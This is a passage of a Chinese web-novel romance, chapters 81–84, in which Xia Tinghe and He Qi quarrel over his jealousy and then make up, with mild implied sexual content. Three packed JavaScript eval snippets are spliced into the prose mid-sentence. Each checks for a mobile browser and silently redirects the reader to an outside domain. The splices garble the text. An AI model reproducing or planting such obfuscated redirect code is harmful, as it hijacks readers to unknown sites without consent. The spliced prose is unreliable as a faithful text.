书包都没来得及回家放下。 是贺祁的父母给她开的门。 第一次正式地来别人家，也不好意思直接就说要去找贺祁。于是和两个长辈寒暄了几句，才问：“贺祁在家吗？” “哦哦，对，你肯定是来找他的。”贺母恍然大悟，“我一高兴都忘了，就拉着你在这里聊天了。” “他在楼上呢。你直接上去就行，楼梯口左转第二个房间。” 夏汀禾上了楼。 站在门口，深吸了一口气，才抬手敲门。 她想着该用什么说辞来解释，不过反而是有点越想越乱了。比她之前在学校做实验还要紧张。 没多久，门开了。 贺祁出现在她面前。 似乎是没想到她会过来，原本冷淡的眼眸里一刹那闪过一丝光亮。 眼睫轻颤了颤，随后才滚动了下喉结问：“怎么、这个时候过来了？” 他穿的是黑色的睡衣套装，领口处的扣子没扣，冷白的锁骨一览无余。衣料薄薄的一层贴在身上，隐约可见底下的肌肉线条。 感觉到脸颊开始发烫，夏汀禾挪开了视线，回他说：“……我不是答应了今天要来找你的吗？” “噢。”贺祁慢半拍地回应。 他以为她今天也不会来的。 夏汀禾跟着他进了卧室。 看到屋里面漆黑的一片，她进去后，贺祁才打开顶灯，夏汀禾好奇地问他：“你在干嘛呀？” “看电影。” 他的回答依旧是淡淡的。 夏汀禾“哦”了一声。 屋内依旧是寂静无声。 夏汀禾又接着问了些有的没的，贺祁一一回答了，和往常一样，只是少了点感觉。 很微妙的变化。 在贺祁准备去给她拿毛毯时，夏汀禾牵住了他的手。 她坐在沙发上的，贺祁是站着的。两个人一站一坐，夏汀禾抬眸只能看见他的侧脸。 贺祁的手心是冰凉的，她的是温热的。交叠在一起，温度相融。 “你是不是不高兴了？”夏汀禾小声问他。 “不高兴什么？”贺祁垂着眼睫看了过来。 他都没对自己笑了，肯定就是不高兴了。 夏汀禾回他说：“我昨天没过来，今天来得也比较晚。” 贺祁没说话。 那就是这个原因了。 这一招没用，夏汀禾索性自己站了起来。 想了想，她憋着一股气，红着脸伸出手去，慢慢抱住了他的腰。 “你别不高兴了，好不好……” 她的语气依旧是乖软的，尤其抬头时，脸颊还在贺祁的脖颈处蹭了下。 这句话还没说完，贺祁已经低头狠狠地咬了下她的嘴角。 夏汀禾被牢牢地禁锢在他怀里，只能下意识地攀住他的肩膀，和他紧贴着。 呼吸交缠，亲吻着。 等夏汀禾反应过来时，她已经跨坐在了贺祁的腿上。 好一会儿后分开，贺祁把她的肩带整理好，低哑着声问她：“打算什么时候回家？” 夏汀禾被亲得迷迷糊糊，趴在他的肩膀上，磕磕绊绊地回应：“就、就再晚一点也没事……” 贺祁低低地笑了声：“那就是不回去了？” “嗯？”夏汀禾立即清醒过来，“不是。” 她只是想说再亲一下也没关系的，但是回家还是要回的吧…… 贺祁最后啄了下她的耳尖。 “那就先不亲了。” 再亲下去会发生什么两个人都不确定了。 贺祁让她坐在了沙发上，又把毛毯盖在了她身上。 还以为他要做什么，夏汀禾背部都绷直了。 然而没多久，贺祁拿了游戏手柄过来，靠着她坐下。 他又一次凑过去轻碰了下她的额头，轻声问： “陪我打会儿游戏再走？” 其实做什么都可以。 只是想让夏汀禾多在这里一会儿。 81. 醉酒 两个人玩的是简单的双人闯关游戏。 夏汀禾以前在宿舍里也会被室友拉着挤在一台电脑前玩，自认为是没有问题的，但偏偏和贺祁组队了，她每关就都开始有过不去的地方了。 又一次失败，她气鼓鼓地对贺祁说：“我要选你那个角色。” 他们俩坐在地毯上，靠在一起的，贺祁撇过头来对她笑了下：“行。” 顺道把自己的游戏手柄都给她了。 要开始前，夏汀禾先止住了：“先等一下。” 贺祁听她的没动。 夏汀禾拿手机出来，划拉了电子草稿纸，在屏幕上简单算了一下。 几分钟后，她说可以了，贺祁才点了开始。 按照计算的逻辑，夏汀禾调整了下几个地方，一关顺利闯完。 “赢了。”她笑了起来，眨了眨眼。 贺祁没忍住掐了一下她的脸。 “怎么这么聪明啊。” 夏汀禾不好意思地回了句：“……也没有啦。” 这时候电话铃声响起。 是蔺妤打过来的。 一看到备注，夏汀禾瞬间紧张起来。她只得先暂停了游戏，点了接通。 “……妈妈。”声音明显的底气不足。 好在蔺妤也没听出来：“嗯，你现在已经在家里吧？发个视频给我看看住的地方长什么样？” 夏汀禾没和蔺妤说自己是和朋友合租的，蔺妤这么问也是担心她。 要是真在家里，那还好办，直接打个视频电话过去就可以解决了。 只是。 夏汀禾看了看贺祁，支支吾吾道：“没，我……我现在在朋友家，回去后再发给你可以吗？” “这么晚了还在朋友家？”蔺妤顿了下。 “嗯。”夏汀禾应了一声，立即道：“刚打了一会儿游戏，马上就回去了。妈妈我到家了再打给你。” 她这么着急忙慌的，蔺妤以为是她已经准备着离开了，说了句“好”便挂了电话。 有了事，夏汀禾没办法再磨蹭下去。她站起了身，对贺祁道：“那我先回去了。” 贺祁从沙发上拿过她的外套递给她，给她套上后，才不经意似的问：“你还没告诉阿姨？” 夏汀禾是想找个不那么匆忙的时间和蔺妤说的，刚刚显然不是时候。 她抬眸看了眼贺祁。 他看起来也没太大波澜。 夏汀禾道：“我下次会告诉妈妈的。” “昂。”贺祁点了下头，漫不经心道：“那其他人呢？” “什么其他人？” 贺祁一一帮她列举出来：“你的室友，朋友，还有亲人。” “这些……”夏汀禾想了想，“这些后面再慢慢和他们说吧。” 一个个去告诉好像有点麻烦，她也没有发朋友圈的习惯。总之以后他们碰见了自己和贺祁在一块儿，到时候再解释一下，应该就可以了。 “不行吗？”夏汀禾问了下他的意见。 贺祁看了她一眼，又低头亲了亲她，最后才道： “行。” - 贺祁开车送了她回来。 抵达时，夏汀禾也开始有些不舍，尤其是还被他握着手，那样直勾勾地看着。 坐在车内，两个人对视着。贺祁另一只手抵在方向盘上，撑着下巴，侧着脸望向她。 见她一直没下去，贺祁勾了下嘴角，问：“不回去了？” 夏汀禾没回话，第一次主动地凑过去，搂住了他的脖颈，也学着他之前亲自己那样，碰了碰他的嘴唇。 贺祁愣了愣。 亲完后，贺祁没反应过来，夏汀禾自己倒是先慌乱了起来。 她没去看他的脸，就耳朵通红地和他说：“贺祁，我以后每天晚上都来找你，怎么样？” 以免她掉下去，贺祁稳稳地扶住她的腰。 她说的话太容易让人浮想联翩，贺祁也开始变得不自在起来，咳了下问：“找我做什么？” “接吻？” 他直白地把这个词抛了出来，夏汀禾也不知道该怎么回答，只怯怯地说：“不是。” 虽然接吻她也是想的，但她更想见到他。 看到夏汀禾的脸一点点变红，贺祁那点不自在瞬间就荡然无存了，又开始变得无赖起来，懒洋洋道： “噢，还是说，你还有其他的想尝试……” “没有！”夏汀禾已经捂住了他的嘴，“反正就是会来找你……你不想就算了。” 说完这句，夏汀禾不想理他了，开了车门往下走。 贺祁也从另一边下了车跟了过来，扣住了她的手。 “没说不想。” 他这时候变得正经起来，认真道：“那今晚算是因为有事，时间缩短了吧。所以现在再多陪我一下，行么？” 什么呀…… 明明是他送自己上楼回家，还说什么陪不陪他的。 总之本来从楼下到楼上也就两三分钟的事，两个人腻歪了二十几分钟才分开。 - 回了出租屋，关上了门，夏汀禾赶紧拍了视频给蔺妤发过去。 太晚了，蔺妤可能去做别的事了，这时候也没回。 祝朝月瞧她这么迟才回家，多问了句：“你刚刚是出去了吗？” 夏汀禾解释说：“嗯，我去了一趟贺祁家。” “这样啊。”祝朝月笑了下，“那看来我以后就不用在门口等着了。” 清楚她是什么意思，夏汀禾一时间红了脸：“……我还是会回来的。” “害羞什么。”祝朝月揽过她的肩膀，“很正常的啦，刚谈恋爱谁不想整天和对象黏在一块儿。速度快的，可能一周之内就发生关系了。正是上头的时候，好好享受就行。” 她太自然地就说了出来，夏汀禾已经不知道该怎么回应了。 祝朝月拍了拍她：“那你去洗澡吧，浴室我用完了。等下一起看电视吗？” 夏汀禾答应了。 - 一连着几天，夏汀禾都在晚上去找了贺祁，一开始两个人还有点生涩，只是亲亲抱抱，后来熟悉起来了，便越来越控制不住，有那么一两次夏汀禾都是在他的房间里洗完澡才回家的。 贺祁则在结束后下楼去帮她买贴身衣物，让她换。 第一次这么做的时候，夏汀禾还会因为害羞有点抗拒，想说自己去买就行。 但贺祁亲了亲她，笑着和她说：“床单也要换啊，还有地毯……” 夏汀禾红着脸不准他说了。 他不提醒的话，夏汀禾根本没想过这些也会弄脏。 所以最后还是贺祁去买的。 她洗完了澡穿他的衣服，坐在沙发上看电视等着他回来就行。 那几日贺祁的父母都出去旅游了，不在家，不然夏汀禾是肯定不会答应。 几天后，贺祁飞了一趟国外。 夏汀禾问他去了哪，这人也没说。等到了目的地后，才给她发了许多视频。 热烈日光下的异国风情建筑，落日余晖里的大学高校，璀璨星空背景中的天文台…… 这些原本只在题目里的文字、图片幻化成了动态的，都变得生动起来。 是她想去的地方、想看的风景。 贺祁在每个停留的地点都挑了一些当地才有的纪念品给她。 到了晚上，两个人视频通话。 夏汀禾有些后悔地说：“早知道我也去了。” 贺祁笑了下，隔着屏幕温柔地看着她，回应说：“以后肯定有机会的。我们这么厉害又聪明的汀禾宝宝。” 他不管说什么都总是能随性又坦荡的。 夏汀禾红着耳朵看了看卧室的门，好在是关上了的，不会让别人听到这个称呼。 “……那你什么时候回来？” 她是坐在床上的，后背靠着床头，被子盖在膝上。 睡前也只穿了一件单薄的长袖，本就是宽大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏汀禾本来是想拒绝的，但谢临这么一说，她也没别的借口了。 最后付言辞开了谢临的车送他们俩回去。 两人坐在后排，不知不觉地就都睡着了。 付言辞先把谢临送回了家。 再次回来时，看到夏汀禾还闭着眼呼吸均匀地睡着，没叫醒她，脱了自己的外套盖在了她身上。 直到一声接一声的消息提示音响起。 付言辞往后一看。 不是他的，是夏汀禾的手机。 过了会儿，提示音变成了电话铃声。应该是对方发消息没回应，索性打了电话过来。 一直响着，或许是有什么急事。 付言辞叫了好几声夏汀禾，只是她已经睡熟了。 付言辞只好拿了手机出来看。 屏幕上的备注是男朋友。 知道了是谁，他点了接通。 不想贺祁误会，他先堵住了对面的话：“组内聚餐汀禾喝醉了，你要是有空，过来接她吧。我不知道她住哪。” 贺祁显然也没想到是他接的，反应了几秒，语气冷了下来问：“公寓楼下停着的那辆黑色的车？” 付言辞降下车窗，往马路对面一瞥，看见了贺祁。 他手上还抱着一束花。 “嗯。” 贺祁挂了电话，很快走了过来，从后座里把人抱了出来。 付言辞的外套被他拿着丢在了座位上。 两个人全程没什么交流，贺祁抱着人就走了。 心里早就已经不知滋味，付言辞没再往他们那边看。 没把人送回公寓，贺祁直接把夏汀禾带回了自己家。 到了门口时，夏汀禾隐约醒了，看到是他后，嘟囔了一句，搂紧了他，紧贴了上去又闭上了眼。 这时候夏汀禾的手机又震动了一下。 是付言辞发过来的。 【你喝多了酒容易犯困，以后没有熟人的场合下，不要喝太多】 把人放在了床上，在夏汀禾又一次迷迷糊糊睁开眼时，贺祁直接扣住了她的手腕，把人彻底亲醒了。 在夏汀禾推他说自己想睡觉的时候，贺祁也没松手，垂着眼眸问她： “最近还在和付言辞联系？” 82. 吵架 困意止不住，夏汀禾不想听任何人说话，但是她被贺祁禁锢着手腕，又没办法舒服地睡觉。 挣扎了几次，她有点生气了，撒气地问：“你干嘛？” 因为是刚醒，还带着点鼻音，声音还是软的。 她半睁着眼，只看到贺祁俯身，双手撑在她两侧，漆黑深邃的眼眸里是强烈的占有欲。 卧室里没开灯，只有墙角巴掌大的自动感应灯亮了，增添了一点点光亮。他们这儿仍是暗的。 贺祁后知后觉自己有点凶了，又低头亲了亲她，温声问：“回答我的问题宝宝，最近还有没有在和付言辞联系？” “没有。”夏汀禾只想快点应付完他然后睡觉。 过了会儿，贺祁还是没松开。夏汀禾又一次推了下他，皱着眉嘟囔道：“我都说没有了……” 贺祁握着她的手亲了一口，继续问：“那为什么和他一起去吃饭了？” 夏汀禾拉过被子盖上，闭着眼含糊不清地回答：“他也在实验室啊，是师兄师姐请的。” “所以这个半月你一直和他待在一起？” 这又不是她能决定的。 “……嗯。”夏汀禾快要睡着了。 这句话刚应完，夏汀禾感觉到自己突然被人抱了起来。下一秒，就被带进了浴室。 出来后已经是半夜。 其实也什么都没问出来。 贺祁舍不得对她做过分的事，到底还是和之前一样哄着，弄完之后让她舒舒服服地睡觉了。 夏汀禾闭着眼躺在床上，已经睡得很沉。 贺祁走到卧室侧面的阳台，站着吹了会儿风。等稍微冷静下来了，才回了卧室。 - 第二天夏汀禾醒过来，摸索到手机后，看到屏幕上几条瞬间清醒了些。 都是祝朝月给她发的消息，问她怎么没回家。 夏汀禾看了看房间，才反应过来这是贺祁家。她的记忆停留在贺祁把她从车上抱下来。 好在她喝的也不算多，没有什么头疼的症状。 她先掀开被子，坐在床边给祝朝月回了消息。 【不好意思，朝月。我昨天参加聚餐喝了酒睡着了，没看消息了】 祝朝月回她道：【没事，我早就知道啦。贺祁昨晚上发消息和我说了】 贺祁和她说了？ 夏汀禾这时候低头看了下自己身上的衣服，里里外外全部换了。 被衣物遮住的地方还有痕迹，她自然知道是发生了什么。 脸颊开始发烫，夏汀禾不好意思地给祝朝月回了个好，便起身下了楼去找人。 贺祁正好也从楼道上来。 他提了一袋子的洗漱用品，应该是刚下去给她买了。 差不多有一周没见面了，现在看到人，自然是想念得不行。夏汀禾几步跑下楼去，抱住了他。 手环抱住他的腰，她依赖地蹭了蹭贺祁的脖颈。 “你去买东西了吗？”她不由自主地撒娇着问。 “昂。”贺祁点了点头。 夏汀禾还想问他昨晚上什么时候回来的、怎么就把自己抱回家了等等，但还没说呢，贺祁已经先把东西递到了她手上。 “先去洗漱，待会儿下来吃早餐。” “哦。” 夏汀禾听他的，拿着东西又回了房间洗漱。再到楼下餐厅，贺祁已经做好了早餐，放在了桌上。 两碗热腾腾的排骨米线。 是夏汀禾喜欢吃的。 她不爱炖补煲汤里的排骨，太过于清淡，但米线里的入味，她尤其喜欢。 夏汀禾先尝了一口味道，满足后，开始吹着气慢慢吃。 她也没忘记问贺祁：“你昨天是去公寓那边找我了吗？” 不然也不会碰到付言辞开车送他们回家吧？ 贺祁“嗯”了一声，看向她，平静地问：“昨晚上的事，不记得了？” 夏汀禾的确不记得了，但某些事还是有点印象的。 她以为贺祁说的也是那件事，所以根本就不好意思接话，只能道：“记得一点……” “你干嘛，一回来就……那样啊。” 她记得还折腾了挺久。 说完，夏汀禾脸红了，迅速转开话题，对贺祁道：“我想喝水。” 贺祁去厨房帮她倒了一杯，递给她时，继续问：“所以还和谁有联系？” 这时候夏汀禾开始感觉出他今早上有点冷淡。 她不知道是怎么一回事，也没听懂：“什么？” 贺祁又明晰了一次问题：“除了付言辞，还有别的异性？” 什么异性？ 为什么又开始扯到他身上了？ 夏汀禾皱了下眉：“什么意思？我没太明白。” 贺祁指了下她放桌上的手机。 “昨晚上付言辞给你发消息了，你没删除他。” “为什么要删除？”夏汀禾更加疑惑了，“我们是同学啊。” 又是一个课题组的。 贺祁深吸了一口气：“行，就算是这样，那其他人呢？怎么说？和你住一个公寓的男生，你每天去学校都和他一起走的？” 夏汀禾很快反应过来：“他是我师兄，他每天也去实验室，顺路碰到了就会一起。” 并没有每天。 “嗯，这只是我看到的，还有其他的、我没看到的呢？” 贺祁反复的质问已经让她有点累，夏汀禾放下了筷子，直视着他问：“贺祁，你想说什么？” 看到夏汀禾不悦的那一刻，贺祁其实也想及时止住，他预感到了再这么下去两个人会吵架，但他克制不了，现在、当下必须就得问清楚。 他要知道夏汀禾心里是只有他的，任何人都不能分得一点位置。 “你和阿姨说了吗？我们的关系。” 夏汀禾一愣。 因为上次发了视频给蔺妤之后，她只匆匆回复了一句。夏汀禾便没再和她继续聊，因此也就一直没找到合适的机会说出来。 她没回应，贺祁心里有了答案，不由得更加烦躁了些。 “其他和你认识的，你也没说吧？” 他轻笑了一声。 所以夏汀禾身边根本就没有人知道他们俩在一起了。 贺祁很清楚，夏汀禾之前喜欢付言辞的事，她的室友、朋友、家人几乎都是知道的。 所以是把他当什么了？ 不想自己去接她，但是愿意和同门的师兄每天一起去学校。留着以前暗恋对象的联系方式，说是因为是同学不好删除。 在一起的第一天，他就把他们俩的事告诉了自己熟识的所有人，她却几乎没放在心上。 夏汀禾不知道他为什么突然就生气了，但她不想吵架，尽量保持理智地回答他：“我不是说了，以后会告诉他们的吗？而且之前问你，你也答应了这样做的。” 只要贺祁答应了的，她就会默认为他是真的愿意。 贺祁没说话。 夏汀禾低头看了看桌上。 两碗米线，他碗里的一动没动，夏汀禾吃了一半，现在也吃不下去了。 她以为几天没见面了，他们俩会有很多话要说，但今天却是这样的场景。 夏汀禾没再回话，收拾了自己的那一份米线，在厨房里处理好后就上楼去拿了包和衣服。 她说不上心里是什么感受，但总之很难受。 她开了门打算出去，贺祁却在这时候拽住了她的手腕。 “去哪？” 问题没有解决，夏汀禾也不想逃避，但这是她第一次面对这种情况。 她从来没有设想过的情况。 她以为她和贺祁是永远不会吵架的。 “我现在没办法保持理智，可能会说一些让你伤心的话。” 脑子里都是乱糟糟的，夏汀禾已经有些焦头烂额。 “我晚上给你发消息，可以吗？” 这是她目前能想到的最好的方式。 没管贺祁答不答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100208|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应，夏汀禾挣脱开来，直接关上了门出去。 - 夏汀禾是走到一半路碰到祝朝月的。 临近年关，实习结束，祝朝月从公司收拾东西正往公寓去。 看见夏汀禾，她立即跑了过来。 “汀禾，你怎么在这儿？我还以为你今天都要待在贺祁家了。” 夏汀禾扯出笑容，摇了摇头，撇开话题道：“你也要回家吗？” “对，我刚从公司出来，就看到你了。” 两个人边说着边往公寓走去，到了一个十字路口，祝朝月拉着她的手去了另外一边。 不是回去的路。 一直在走神的夏汀禾猛然回过头看了一眼，提醒了一句：“朝月，你走错了。” 祝朝月对她笑了笑：“没走错。看你心情不好，先不回家了，出去逛逛吧。” 她带夏汀禾来了附近的公园，租了两辆自行车。夏汀禾也不好拒绝，只能试了下。 她许久没骑过车了，刚开始还有点摇摇晃晃，慢慢掌握了后，才熟悉起来。 最后两个人绕着公路骑行，一直拐进了空气清新的山里。冬日里的风自然是冷的，但骑了一会儿车，便更多的感觉到清爽。 过了差不多半小时，在一处地方停下。 祝朝月对她说：“看，是不是很漂亮。” 是山里的湖泊，草地环绕着，水面清澈又平静。 “我以前经常来这儿呢。”祝朝月说，“多和大自然接触，就感觉心情会好很多。” 夏汀禾点点头：“嗯，很漂亮。” 祝朝月这时候扭过头，问她：“你是和贺祁吵架了吗？” 贺祁出国了一趟，两个人分开了几天，再见面肯定是会黏乎在一块儿的，夏汀禾却早早地就从他家里出来了。 毕竟是谈过恋爱的，祝朝月猜到也不难。 夏汀禾不知道他们的事算不算吵架，但还是说了出来。 她并不希望这种状态持续太久。 祝朝月听完后，拍了下她：“别担心。” “贺祁他可能就是很在意你有没有公开吧，所以才会生气。那你就发条朋友圈，说一声问题不就解决了嘛。” “谈恋爱就是这样啦，总是会因为各种小事吵架，但其实没什么影响，你们很快就会和好的。” 祝朝月似乎面对这种事已经十分坦然。 夏汀禾愣了愣。 “你以前也会和梁浩吵架吗？” “当然会啊。”祝朝月想到自己身上就有些头疼，“以前还因为他老问我爱不爱他烦死了，吵了一架。” 夏汀禾好奇：“后来他就不问了吗？” 祝朝月：“没，我和他约好了一个月只能问一次。” 夏汀禾：“……” 祝朝月笑了笑：“虽然现在也是分了，但好歹积累了一些经验。以后再谈总不会再找一个这么麻烦的了。” “不过我倒是没想到你和贺祁会吵架。你们俩看着都不像是会生气的人，不管是对对方还是别人。” 祝朝月想了想，给出了答案：“可能，还是因为在乎对方吧。” 夏汀禾看着湖泊，没说话了。 - 贺祁等了一整天夏汀禾的消息。 到了晚上，终于收到了。 不过是朋友圈的艾特提醒——夏汀禾发了朋友圈，艾特了他。 配的是他们俩某次晚上在外面牵着手散步的时候，拍的脸贴着脸的照片。 照片里贺祁的围巾戴在夏汀禾的脖子上，贺祁身上则背着她的包。 两个人都笑得很高兴，夏汀禾有些腼腆地红了脸，贺祁则是侧着脸看向她，笑得宠溺，整张照片都散发着青春洋溢的氛围。 他们拍完后就接了吻。 一直亲到了公园快要关门才回去。 贺祁还在怔愣地看着照片。 屏幕上又跳出来消息的提醒。 夏汀禾：【贺祁，你那边有看到吗？】 83. 合照 早上和祝朝月骑完车后，夏汀禾并没有回去。 两人又在城市里的好几个地方转着玩了一圈。 夏汀禾原本是担心会有点麻烦祝朝月的，想说她一个人随便逛逛就行，但祝朝月没同意。 “我上次那么糟糕的时候，都有你陪着。总不能现在换我陪你了，我说两句话就走了吧。” 夏汀禾只好答应了。 于是一直漫无目的地玩到了天黑。 后来逛累了，坐下来休息，她提出要发朋友圈。 “决定了？”祝朝月问了她一遍，又忍不住调侃说：“一整天都心不在焉的。” 夏汀禾不好意思地点了点头，让她帮自己选一张合照。 看到她的相册，祝朝月都惊讶了：“你们居然有这么多。” 大多数时候都是贺祁说要拍的。 每次夏汀禾拒绝的时候，这人就颇有道理地和她说：“我们俩长这么好看，多拍几张不是很正常？” “都挺好看的诶。”祝朝月有点难抉择，“要不这张？这张看起来太有初恋的感觉了。” 她好奇地问：“你们在哪拍的啊？” “就在我们早上去的公园。” 祝朝月：“那边有把人照得皮肤这么白的灯光？我怎么感觉每次去那边，拍的都是乌漆嘛黑的。” 说完，祝朝月抬眼看了下她，又想了想贺祁。 得了，两个人都是冷白皮。 没什么好说的了。 夏汀禾也挺喜欢这张照片的，于是选好了，艾特了贺祁，就一鼓作气发了出去。 看着她做完了这一切，祝朝月不由自主地笑了起来。 “现在算是明白你为什么能和贺祁走到一起了。” 夏汀禾还在等着贺祁的消息，突然听到她这么一句，有些懵。 “为什么？” 祝朝月回她说：“他看上去很随心所欲对吧？但他其实很需要爱。梁浩这家伙没感觉出来，一直觉得贺祁和他成为朋友，是因为他的人格魅力，但实际上是因为他在贺祁需要的时候，无意间出手帮过好几次，贺祁始终记得。这是他们友情的开始。” “你们俩的话，我虽然不知道是怎么开始的，但我想，贺祁应该没办法拒绝你的。” 祝朝月牵起她们俩握着的手晃了晃：“因为你太温暖、太美好了，总让人忍不住想要靠近。” 夏汀禾不是活泼开朗的性子，她温软乖巧，但是却倔强、坚定有力，对自己的事是这样，对身边的朋友亦然如此。 之前在大街上被养父追着，惊慌失措的那一次，祝朝月就体会到了。 她那时候才知道，原来被人支持着、安慰着，是这么幸福的。 她和贺祁有相似的童年，所以能明白他对这种感觉的渴望，而贺祁和夏汀禾之间的又是爱情，可能就更多了些占有欲和偏执。 两个人坐在路边的长椅上。 祝朝月无聊地晃着双腿，说出了一直以来的心里话。 这是夏汀禾第一次听到有人这么评价自己，有些欣喜，又有些对于她过度赞美感到手足无措。 她没觉得自己有这么好。 但祝朝月没觉得自己夸大了，她反而觉得还有更多没说出来。 “那我现在告诉他你在哪了？”祝朝月把自己的手机摆给夏汀禾看，“贺祁今天都给我发了无数条信息问你了。” 夏汀禾瞥了眼屏幕上密密麻麻的消息，和祝朝月道了歉，又“嗯”了一声。 祝朝月快速地给贺祁发了语音过去。 没多久，一道瘦高的身影朝她们俩走了过来。 祝朝月先拿了包离开，笑着说：“我就先回去了。你今天晚上迟一点回家也没事的。哦，不回来也行。” 夏汀禾已经不知道该说什么才好了。 几分钟后，贺祁到了她面前。 过来得太急，他外套也没穿，只套了件白色的毛衣。 他很少穿浅色系的衣服，这件是和夏汀禾的情侣款。 夏汀禾自然一眼就认了出来。 两个人早上吵完架，中间朋友帮忙调节了一番，现在平静下来见面，多少有些不自在。 夏汀禾没去看他。 直到路边有人过来了，夏汀禾只好拽着他往旁边站了点。 “你怎么不看路……” 她的话还没说完，贺祁已经弯下腰来抱住了她。 他的脸紧贴着夏汀禾的脖颈，手臂环绕住她，把人牢牢地扣在怀里。 夏汀禾第一次这么清楚地感觉到他的不安。 “夏汀禾。” 贺祁红了眼眶，许久才艰难地开了口，低声对她说：“别离开我。” 那些无关紧要的人、细枝末节的事，都不重要了。 随便她想怎么做，她想怎么决定。 他只想夏汀禾在他身边。 不知怎么的，一听到他的声音，夏汀禾眼前也开始变得模糊起来。 一整天憋着的气，在这时候有了发泄的出口。 她在贺祁脖子上咬了一口，揉了揉眼睛，断断续续地说：“那还不是都怪你……怪你要和我吵架，害我一天的心情都不好了。” 越想越觉得生气，夏汀禾倒豆子似的全部都讲了出来： “我明明很高兴的，还想着和你见面了要和你说好多话。结果你就一直板着脸，一直问我问题，一直问。我回答了，你还问，你根本就不相信我。” 夏汀禾越说越觉得委屈，眼泪也开始往下掉。 “师兄和我去学校走一条路，是我能决定的吗？我不让你来接我也是因为怕你麻烦。付言辞这半个月也只有昨天才给我发了消息，我都没回他，还是你先看到的。我都解释了好几遍了，你就是不相信！” “我讨厌吵架，尤其是和你。你如果不喜欢我了，那就分手啊。” 贺祁直接低头堵住了她的嘴。 夏汀禾是真的这么想的。 如果非要吵架的话，那干脆不要继续这段感情了。 她害怕受伤，害怕又一次鼓起勇气在爱情里尝试，最后获得的却是不欢而散的结局。 尤其是因为——她真的喜欢贺祁。 贺祁是第一个陪着她度过各种挑战的人，他在身边鼓励她，心情不好的时候逗她高兴，会想方设法地制造各种惊喜，会给她独一份的爱。 “你以后再这样，我真的……”被他按在怀里亲，夏汀禾只能一边咬他，一边呜呜咽咽地哭着说：“我真的就不喜欢你了。” “别不喜欢我。” 贺祁被她咬得生疼，这才分开了，抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103943|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手给她擦眼泪。 “是我的错，你想让我怎么道歉都行。” “别哭了宝宝，好吗？” 夏汀禾哭，只让他更加难受。贺祁后悔自己太过于纠结那些，让夏汀禾这么伤心。 “……都怪你，都怪你。”夏汀禾在他怀里哭了好一阵子才停息下来。 “嗯，都怪我。” 贺祁只能不断地哄着和她道歉。 许久许久。 夏汀禾深吸了一口气，用力推开了他，自己拿纸巾擦干了眼泪，认真地问他：“那、那你以后还这样吗？” 贺祁立即接话：“不会了。” “嗯。”哭了太久，夏汀禾也有些累了，这时候没力气说别的，只抽噎了一声，道：“我想喝水。” 贺祁立即去旁边的便利店买了水过来，顺道还买了点她平时喜欢吃的零食。 两个人这时候才心平气和地坐在了旁边的长椅上。 夏汀禾拿着三明治吃，贺祁就拧开了水，时不时喂她喝两口。 祝朝月告诉他，夏汀禾今天一整天都没怎么吃东西，到了现在，可能也就吃了点早上的米线。 现在还哭得眼尾都是红的，贺祁心疼地凑过去亲了下。 “吃饱了没？回家了再做点别的吃，嗯？” 夏汀禾别过了脸：“我又没说要跟你回去。” “就当是赔罪，背你回去好不好？你想吃什么我都做，直到你高兴了。” 夏汀禾皱了下眉：“我高兴了，你就不做给我吃了？” “当然做啊，做什么都行。”贺祁笑着捏了下她的脸，“怎么这么可爱啊，我们汀禾宝宝。” 看她吃完了三明治，贺祁在她面前蹲下，问：“所以要不要？” 夏汀禾想了想，还是很认真地和他说了：“贺祁，我只给你这一次机会。” “好。” 他也只需要这一次。 因为以后再也不会发生这样的事了。 夏汀禾趴在他的背上，之前背过一次了，早就有经验了，贺祁利索地站了起来，结结实实地托住了她，大步往前走。 到了十字路口，人多的地方，夏汀禾还是会害羞地低下头，埋在他的颈窝。 “亲我一下，宝宝？” 这时候正好有一家三口站在他们的旁边，听到他们的对话，几岁的小女孩拉了下妈妈的手，好奇地问： “妈妈，那个哥哥也叫姐姐宝宝，但你不是说只有刚出生的小朋友才是宝宝吗？” 女人给小孩做了个手势示意她别吵，正准备笑着和夏汀禾贺祁道歉。 贺祁先对着小孩说了，语气十分不着调：“你说的没错，姐姐……” 夏汀禾及时捂住了他的嘴：“贺祁！” 贺祁挑了挑眉，意思很明显。 亲他他就不说了。 夏汀禾只好凑过去亲了下他的脸。 她小声地威胁着说：“快点走，不然我就不和你回家了。” 贺祁笑着和小朋友道了别，听夏汀禾的，转了个弯，避开了人群。 人少了，夏汀禾捶了他好几下。 直到贺祁假装地说疼，她才停手。 两个人折腾了半天，但嬉笑打闹着，还是走过了弯弯绕绕的大街小巷，最终回到了家。 84. 早餐 晚上哭了一场，耗费了太多力气，夏汀禾一整夜都睡得很沉。 除去这个原因，这个半月来在实验室实在累得太辛苦，终于完结了把论文初稿交了过去，如释重负，早上醒了她仍旧不想起床。 直到身侧的人动了动时，夏汀禾才迷迷糊糊地睁了下眼，问：“怎么了？” “没怎么。”贺祁亲了亲她：“我去下浴室。” 去浴室干嘛？ 昨晚上不是一起洗过澡了吗？ 夏汀禾还困着，只是在心里这么想着，但懒得问了，“哦”了一声就翻了个身继续睡。 然而身边少了个人，怎么睡，就是不舒服了。 